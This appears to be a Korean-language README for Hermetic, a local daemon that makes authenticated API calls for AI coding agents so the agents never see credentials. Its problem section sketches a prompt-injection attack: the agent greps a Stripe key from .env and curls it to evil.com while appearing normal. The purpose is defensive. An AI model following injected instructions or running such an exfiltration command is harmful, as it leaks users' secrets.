hermetic

에이전트 격리 자격 증명 브로커.
여러분의 AI 에이전트가 인증된 호출을 수행합니다. 하지만 키는 결코 보지 못합니다.

웹사이트 · 설치 · 빠른 시작 · 작동 방식 · 보안 모델 · 취약점 신고

[!IMPORTANT] 귀하의 AI 에이전트는 **★★★ 브로커 등급(Brokered tier)**으로 작동합니다. 자격 증명 평문은 절대 에이전트의 컨텍스트에 포함되지 않습니다. Hermetic은 별도의 데몬 내에서 인증된 호출을 수행하고 응답만 반환합니다. 에이전트는 데이터를 얻지만 — 키는 절대 얻지 못합니다.

문제점

모든 AI 코딩 에이전트 — Claude Code, Cursor, Copilot, Windsurf — 는 여러분의 사용자로서 셸 명령을 실행합니다. .env의 모든 API 키, 셸 히스토리의 모든 토큰, ~/.aws/credentials의 모든 자격 증명은 에이전트가 실행하는 모든 코드가 접근할 수 있습니다.

GitHub 이슈, 코드 주석 또는 API 오류 응답에 포함된 프롬프트 인젝션은 에이전트에게 다음과 같이 지시할 수 있습니다:

1. Stripe 키 찾기   →  cat .env | grep STRIPE
2. 유출하기          →  curl https://evil.com?key=$STRIPE_KEY
3. 당신은 절대 모름 →  에이전트는 정상적으로 계속 작동

이것은 이론이 아닙니다. 공급망 공격은 이미 개발자의 UID로 자격 증명을 탈취하고 있습니다. AI 에이전트는 이것을 기본 공격 표면으로 만듭니다.

해결책

Hermetic은 AI 에이전트를 대신하여 API 호출을 수행하는 로컬 데몬으로, 에이전트가 귀하의 자격 증명에 절대 접근하지 못하게 합니다.

   ┌───────────┐   핸들     ┌──────────────┐    HTTPS     ┌──────────┐
   │  AI 에이전트 │────────────▶│   Hermetic   │─────────────▶│   API    │
   │           │◀────────────│    데몬      │◀─────────────│  서버    │
   └───────────┘  응답      └──────────────┘   응답      └──────────┘

   에이전트 메모리              데몬 메모리
   ✗ 자격 증명 없음             ✓ 자격 증명 (프로세스 내에서 복호화됨)
   ✓ 불투명 핸들                ✓ 도메인 바인딩
   ✓ API 응답                   ✓ 변조 방지 감사 로그

자격 증명은 절대 에이전트의 주소 공간에 들어가지 않습니다 — 메모리, 환경 변수, 파일 또는 명령 출력에도 들어가지 않습니다. 에이전트는 API 응답만 돌려받고 그 외에는 아무것도 받지 않습니다.

설치

curl -sSf https://hermeticsys.com/install.sh | sh

단일 정적 바이너리 (Rust, 런타임 의존성 없음). Docker, 클라우드 계정, 원격 측정 없음.

git clone https://github.com/hermetic-sys/hermetic.git
cd hermetic && cargo build --release --locked

[!TIP] 다운로드를 신뢰하기 전에 검증하십시오 — 아티팩트 검증을 참조하세요.

빠른 시작

hermetic init                 # 암호화된 볼트 생성 (원하는 암호 선택)
hermetic add                  # 대화형 마법사: 키 붙여넣기, 서비스 자동 감지
hermetic start                # 강화된 데몬 시작
hermetic connect              # AI 에이전트 연결 (Claude Code / Cursor / … 자동 감지)

# 인증된 호출 수행 — 키는 데몬을 떠나지 않음
hermetic request --secret openai_key --url https://api.openai.com/v1/models

hermetic doctor               # 모든 것이 정상인지 확인
hermetic audit                # Hermetic이 수행한 모든 작업 확인

새 머신에서는 인수 없이 hermetic을 실행하기만 하면 됩니다. 볼트가 없음을 감지하고 단계별 설정을 안내합니다.

세 가지 자격 증명 사용 방법

대부분의 자격 증명 관리자는 한 가지 옵션만 제공합니다: 비밀을 읽고 직접 사용하세요. Hermetic은 각각 다른 보장을 제공하는 세 가지 옵션을 제공합니다.

★★★ 브로커 — 에이전트가 절대 보지 못함

hermetic request --secret openai_key \
  --url https://api.openai.com/v1/chat/completions \
  --method POST --body '{"model":"gpt-4","messages":[...]}'

데몬이 자격 증명을 주입하고 HTTPS 호출을 합니다. 에이전트는 불투명 핸들을 보내고 응답을 받습니다 — 자격 증명 노출: 0. 다른 자격 증명 관리자는 이 기능을 제공하지 않습니다: op/Vault/aws-vault는 모두 호출 프로세스에 비밀을 반환합니다. Hermetic은 별도의 데몬 내에 비밀을 유지합니다.

★★ 일시적 — 자식 프로세스에서, 그 후 사라짐

hermetic run --secret github_pat --env-var GITHUB_TOKEN -- git push origin main

자격 증명은 해당 명령 하나의 수명 동안만 생성된 자식 프로세스의 환경에 주입된 후 삭제됩니다. 에이전트는 종료 코드를 받습니다. 자식 프로세스의 표준 출력/표준 오류는 스캔되어 유출된 자격 증명이 있으면 편집됩니다. 위험한 인터프리터는 차단됩니다.

★ 직접 — 여러분의 터미널, 여러분의 책임

hermetic reveal --secret stripe_key

자격 증명을 터미널에 출력합니다. 암호 게이트, 속도 제한, 감사 로깅 — 실제로 키를 수동으로 붙여넣어야 할 때 사용합니다. CLI 전용; 에이전트 도구로 노출되지 않음.

Hermetic vs. 대안

MCP 프록시 — 모든 MCP 서버의 자격 증명 보호

모든 MCP 서버(GitHub, Slack, Jira, Notion)는 일반적으로 IDE 구성에 일반 텍스트 토큰이 필요합니다. Hermetic은 MCP 서버를 프록시하고 대신 볼트에서 자격 증명을 주입합니다:

{
  "mcpServers": {
    "github": {
      "command": "hermetic",
      "args": [
        "proxy", "--server", "github",
        "--credential", "github_pat:GITHUB_PERSONAL_ACCESS_TOKEN",
        "--",
        "npx", "-y", "@modelcontextprotocol/server-github"
      ]
    }
  }
}

--credential <볼트-이름>:<ENV_VAR>는 볼트에서 비밀을 해결하고 자식 프로세스의 환경에 주입합니다 — 구성 파일에 일반 텍스트 토큰이 없습니다. 프록시는 또한 모든 서버→에이전트 메시지를 자격 증명 유출에 대해 스캔하고, 도구 정의를 고정하며(공급망 "러그-풀" 탐지), 도구별 허용/거부 정책을 적용하고, 자식 프로세스를 자체 프로세스 그룹으로 격리합니다.

SSH 에이전트 — 키가 볼트를 떠나지 않음

Hermetic은 표준 SSH-에이전트 프로토콜을 사용합니다. SSH_AUTH_SOCK을 가리키면 모든 git push, scp, rsync 및 SSH 연결이 암호화된 볼트의 키로 서명됩니다 — ~/.ssh/로 추출하지 않습니다.

hermetic start --ssh-agent
source ~/.hermetic/ssh-agent.env          # .bashrc/.zshrc에 추가
hermetic ssh-keygen --type ed25519 --name github-ssh   # 볼트 내에서 생성됨
ssh-add -l                                # 키가 나타남
git push origin main                      # 데몬을 통해 서명

데몬은 모든 서명을 내부적으로 수행합니다 — 개인 키 바이트는 SSH 클라이언트에 절대 들어가지 않습니다. Ed25519, RSA (SHA-256/512), ECDSA P-256 지원; SHA-1 서명은 거부됩니다.

AI 에이전트 연결

hermetic connect                 # 에이전트를 자동 감지하고 MCP 구성 작성
hermetic connect claude-code     # 또는 특정 대상: claude-code · cursor · windsurf · claude-desktop
hermetic connect --list          # 지원되는 에이전트 목록 표시

이것은 Hermetic을 MCP 서버로 등록합니다. 그러면 에이전트는 다음 도구를 사용할 수 있으며 — 어떤 도구도 자격 증명 값을 반환하지 않습니다:

OpenClaw 통합

OpenClaw는 두 가지 모드를 동시에 사용합니다: MCP 서버 (★★★ 브로커, 에이전트용) 및 실행 공급자(OpenClaw 자체 LLM 키용).

hermetic reveal --set anthropic_key              # OpenClaw가 읽을 수 있는 하나의 비밀 태그 지정
hermetic reveal --configure openclaw --install   # MCP + 실행 공급자 구성 작성

실행 공급자의 리졸버는 hermetic reveal --protocol openclaw입니다 — 표준 입력에서 JSON 요청({"ids":[...]})을 읽고 표준 출력으로 JSON 응답({"protocolVersion":1,"values":{...}})을 쓰는 네이티브 프로토콜이며, 그 외에는 아무것도 하지 않습니다. 모든 reveal은 암호 게이트, 속도 제한, 감사 로깅됩니다. 에이전트의 브로커 경로는 여전히 hermetic_authenticated_request를 사용하며 값을 절대 보지 않습니다. 전체 흐름: OpenClaw 설정.

보안 모델

Hermetic은 가장 민감한 자격 증명을 보유하므로, 이를 사용하려는 동일한 에이전트에 대해 강화되어 있습니다.

데몬은 자신을 보호하기 위해 모든 연결에 세 가지 계층을 사용합니다:

1. 바이너리 증명   — 데몬이 연결하는 바이너리의 해시를 확인합니다.
                     Python 스크립트나 알 수 없는 바이너리는 거부됩니다.
2. 메시지별 발신자   — 커널이 모든 메시지에 대해 발신자 신원을 확인합니다.
                     세션 중간에 다른 프로세스는 거부됩니다.
3. 프로세스 바운드 토큰  — 다른 프로세스가 훔친 세션 토큰은 거부됩니다.

추가로: 비밀은 RAM에 메모리 잠금되고, 코어 덤프 비활성화, 덤프 보호, SSRF 차단 및 DNS 고정이 있는 HTTPS 전용, 변조 방지 HMAC-연결 감사 로그(hermetic audit).

[!WARNING] Hermetic이 보호하지 않는 것. 브로커링은 자격 증명을 에이전트로부터 격리합니다 — 하지만 Hermetic 자체로 코드를 실행할 수 있는 동일 UID 프로세스로부터는 격리하지 않습니다. 커널은 동일 UID 코드를 구별할 수 없습니다(SO_PEERCRED는 UID만 확인). 따라서 자격 증명 사용 은 허용됩니다: 이미 여러분으로 실행 중인 프로세스는 브로커 호출을 구동하고 응답을 읽을 수 있습니다. 그런 프로세스에 대해서도 폐쇄된 상태로 유지되는 것은: 자격 증명 평문은 절대 노출되지 않습니다(reveal 경로 없음), 볼트 변경(추가/회전/재바인딩)은 새로운 사용자 존재 증명이 필요합니다 — 따라서 키를 훔치거나 볼트를 조용히 변경할 수 없습니다. 바이너리 증명은 비-Hermetic 바이너리가 전혀 연결되지 못하도록 추가로 차단합니다. 이는 일반 텍스트 환경 파일이나 키체인보다 본질적으로 더 강력합니다. 이러한 것들은 동일 UID 프로세스에 원시 키를 그냥 넘겨줍니다. Hermetic은 여전히 완전히 손상된 로컬 사용자 계정, 커널 수준 공격자 또는 하드웨어 메모리 포렌식에 대한 방어는 아닙니다. 우리는 이 경계를 두드러지게 문서화합니다. 이에 대한 정직함이 제품의 일부이기 때문입니다.

전체 위협 모델, 지원되는 버전 및 취약점 신고 방법은 SECURITY.md를 참조하세요.

아티팩트 검증

모든 릴리스에는 SHA256SUMS가 포함됩니다. 다운로드 후 실행 전에 체크섬을 확인하십시오:

sha256sum -c SHA256SUMS

GPG 릴리스 서명(게시된 키 지문에 대한 분리된 SHA256SUMS.asc)이 계획되어 있습니다. 그때까지 SHA-256 체크섬이 무결성 검사입니다. 자격 증명 도구의 경우 실행 중인 바이너리를 확인하는 것이 기본입니다 — install.sh가 자동으로 수행합니다.

오픈 코어

Hermetic은 오픈 코어입니다 — 무엇이 오픈 소스이고 무엇이 아닌지 명시적으로 밝힙니다.

이 저장소의 두 크레이트는 AGPL-3.0-or-later이며 직접 감사하고 빌드할 수 있습니다. 브로커 데몬/CLI 바이너리는 독점입니다 (무료 계층 + 유료 Pro 기능) — 오픈 소스가 아니며 의도적으로 그렇게 말합니다. 보안은 결코 유료화되지 않습니다: 무료 및 Pro 바이너리는 동일한 보안 코드를 실행합니다.

왜 이렇게 많은 코드가 있나요?

"비밀을 저장하고 반환"하는 것은 몇백 줄이면 만들 수 있습니다. 하지만 그러면 머신의 모든 스크립트가 소켓에 연결하여 키를 가져갈 수 있습니다 — AI 에이전트가 UID로 임의 코드를 실행할 때 정확히 문제가 되는 상황입니다. 복잡성은 암호화가 아니라 잘못된 프로세스가 암호화된 것에 접근하지 못하도록 하는 것에 있습니다: 바이너리 증명, 메시지별 발신자 확인, 프로세스 바운드 토큰, 자격 증명 유출 스캔, 도구 정의 고정, SSRF 차단, DNS 고정, 인터프리터 블록리스트, 메모리 강화. 각 방어는 실제 공격이 없이 시연되었기 때문에 존재합니다.

검증

Hermetic은 적대적으로 검증되었습니다 — 독립적인 AI 주도 레드팀 캠페인, 충돌 없는 퍼징, 변이 테스트, 실행 중인 데몬에 대한 실제 공격 시뮬레이션. 테스트 중 발견된 실제 취약점은 재현되어 커널 수준 방어로 영구적으로 차단되었습니다. 암호화 코어(이 저장소)는 독립적인 검토를 위해 공개되어 있습니다. 전체 이야기는 백서에 있습니다.

문서

• 시작하기 — 첫 번째 브로커 요청까지
• CLI 참조 — 모든 명령 및 플래그
• MCP 통합 — 각 플랫폼의 에이전트 설정
• 보안 개요 — 방어 계층 및 위협 모델
• Python 통합 — CLI를 통해 Python에서 Hermetic 사용

기여

CONTRIBUTING.md를 참조하세요. 오픈 코어 크레이트에 대한 기여는 서명된 CLA가 필요합니다.

라이선스

오픈 코어 크레이트 (hermetic-core, hermetic-transport): AGPL-3.0-or-later (LICENSE). Hermetic 바이너리는 독점입니다 — COMMERCIAL_LICENSE.md를 참조하거나 [email protected]으로 문의하세요.